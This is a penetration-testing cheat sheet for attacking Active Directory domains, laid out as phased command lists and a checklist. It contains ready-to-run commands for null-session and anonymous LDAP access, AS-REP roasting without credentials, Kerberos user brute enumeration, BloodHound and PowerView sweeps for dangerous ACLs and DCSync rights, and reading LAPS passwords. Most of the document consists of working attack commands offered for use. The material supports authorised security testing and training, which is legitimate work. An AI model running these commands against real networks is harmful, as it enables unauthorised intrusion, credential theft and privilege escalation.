Active Directory Enumeration
Phase 1: Unauthenticated
Try null sessions, anonymous LDAP binds, and Kerberos user enumeration before you have any credentials: these often hand you a foothold.
bash
# Port scan for AD services
nmap -p 88,135,139,389,445,464,636,3268,3269 <dc-ip>
# Null session SMB
nxc smb <ip> -u '' -p ''
nxc smb <ip> -u 'guest' -p ''
# RPC null auth
rpcdump.py <ip>
lookupsid.py anonymous@<ip>
# LDAP anonymous bind
ldapsearch -x -H ldap://<dc-ip> -b "DC=domain,DC=local"
# AS-REP Roasting without creds
GetNPUsers.py domain.local/ -dc-ip <ip> -no-pass -usersfile users.txt
# User enumeration via Kerberos
kerbrute userenum -d domain.local --dc <ip> /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt
# enum4linux
enum4linux-ng -A <ip>Phase 2: Authenticated Enumeration
Once you have creds, enumerate everything before touching exploits.
bash
# BloodHound collection (most important)
bloodhound-python -u user -p pass -d domain.local -dc dc01.domain.local -c all -ns <dc-ip>
nxc ldap <ip> -u user -p pass --bloodhound -c all
# Dump all AD objects to HTML
ldapdomaindump -u 'domain\user' -p 'pass' <dc-ip>
# nxc enumeration
nxc smb <ip> -u user -p pass --users
nxc smb <ip> -u user -p pass --groups
nxc smb <ip> -u user -p pass --shares
nxc smb <ip> -u user -p pass --pass-pol
nxc smb <subnet>/24 -u user -p pass # network sweep
# Share spidering
nxc smb <ip> -u user -p pass -M spider_plusBloodHound Key Queries
- Shortest Path to Domain Admins
- Find Principals with DCSync Rights
- Find Kerberoastable Users
- Find AS-REP Roastable Users
- Computers Where Domain Users are Local Admin
- Find Principals with Dangerous Rights (WriteDacl, GenericAll, GenericWrite, Owns)
⚠️ BloodHound misses granular ACL misconfigs. Always follow up with PowerView and bloodyAD.
Phase 3: ACL Enumeration
BloodHound won't catch everything: sweep with PowerView and bloodyAD to find writable attributes and dangerous ACEs that the graph misses.
powershell
# PowerView: import first
Import-Module .\PowerView.ps1
# Find all interesting ACLs for your user
Find-InterestingDomainAcl -ResolveGUIDs | Where-Object {
$_.IdentityReferenceName -match "your.user"
}
# Check ACLs on specific object
Get-ObjectAcl -DistinguishedName "OU=Staff,DC=domain,DC=local" -ResolveGUIDs
# Find GenericAll/GenericWrite on any object
Find-InterestingDomainAcl -ResolveGUIDs | Where-Object {
$_.ActiveDirectoryRights -match "GenericAll|GenericWrite|WriteDacl|WriteOwner"
}
# Find DCSync rights
Get-ObjectAcl -DistinguishedName "DC=domain,DC=local" -ResolveGUIDs | Where-Object {
$_.ObjectAceType -match "DS-Replication"
}bash
# bloodyAD from Linux
bloodyAD -u user -p pass -d domain.local --host dc01.domain.local get writable --otype ALL
bloodyAD -u user -p pass -d domain.local --host dc01.domain.local get writable --otype USERPhase 4: Additional Checks
Check delegation, LAPS, gMSA, and dMSA: these are often overlooked and frequently exploitable.
powershell
# Domain info
Get-Domain
Get-DomainController
Get-DomainPolicy
# Delegation
Get-DomainComputer -Unconstrained
Get-DomainUser -TrustedToAuth
Get-DomainComputer -TrustedToAuth
# RBCD
Get-DomainComputer | Where-Object {$_.'msds-allowedtoactonbehalfofotheridentity' -ne $null}
# LAPS
Get-DomainComputer | Select-Object name, ms-mcs-admpwd
# gMSA
Get-DomainObject -LDAPFilter "(objectClass=msDS-GroupManagedServiceAccount)"
# dMSA (Windows Server 2025)
Get-DomainObject -LDAPFilter "(objectClass=msDS-DelegatedManagedServiceAccount)"Enumeration Checklist
- [ ] Null session SMB/LDAP/RPC
- [ ] AS-REP Roasting without creds
- [ ] User enumeration via kerbrute
- [ ] BloodHound full collection
- [ ] ldapdomaindump
- [ ] PowerView ACL sweep
- [ ] bloodyAD writable objects
- [ ] Kerberoasting
- [ ] Share enumeration + spidering
- [ ] Unconstrained delegation
- [ ] Constrained delegation
- [ ] RBCD
- [ ] Shadow Credentials (msDS-KeyCredentialLink writable?)
- [ ] LAPS
- [ ] gMSA
- [ ] dMSA / BadSuccessor (WS2025)
- [ ] DCSync rights
- [ ] Local admin access on any machine?
- [ ] Trust relationships?
Time Sync (Always Before Kerberos)
Kerberos requires clock skew within 5 minutes of the DC: sync time before any Kerberos-based attack or you'll get KRB_AP_ERR_SKEW.
bash
sudo timedatectl set-ntp false
sudo date -s "$(curl -s -I http://<dc-ip> | grep -i '^Date:' | cut -d' ' -f2-)"